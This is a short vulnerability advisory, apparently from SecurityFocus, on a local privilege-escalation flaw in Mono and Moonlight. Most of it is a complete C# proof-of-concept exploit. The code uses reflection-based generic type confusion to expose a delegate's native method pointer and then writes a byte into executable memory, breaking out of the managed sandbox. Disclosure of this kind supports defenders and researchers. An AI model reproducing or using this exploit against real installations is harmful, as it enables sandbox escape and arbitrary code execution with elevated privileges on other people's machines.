Source: http://www.securityfocus.com/bid/45051/info
Mono and Moonlight is prone to a local privilege-escalation vulnerability.
Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer.
PoC:
using System; using System.Reflection; using System.Runtime.InteropServices;
public class DelegateWrapper { public IntPtr method_ptr; }
public delegate void MethodWrapper ();
public class BreakSandbox { private static DelegateWrapper Convert <T> (T dingus) where T : DelegateWrapper { return dingus; }
private static DelegateWrapper ConvertDelegate (Delegate del) { var m = typeof (BreakSandbox).GetMethod ("Convert", BindingFlags.NonPublic | BindingFlags.Static); var gm = m.MakeGenericMethod (typeof (Delegate));
var d = (Func <Delegate, DelegateWrapper>) Delegate.CreateDelegate (typeof (Func <Delegate, DelegateWrapper>), null, gm);
return d (del); }
public static void Main (string [] args) { MethodWrapper d = delegate { Console.WriteLine ("Hello"); };
d (); var converted = ConvertDelegate (d); // Overwrite the already WX page with a 'ret' Marshal.WriteByte (converted.method_ptr, (byte) 0xc3); d (); } }
|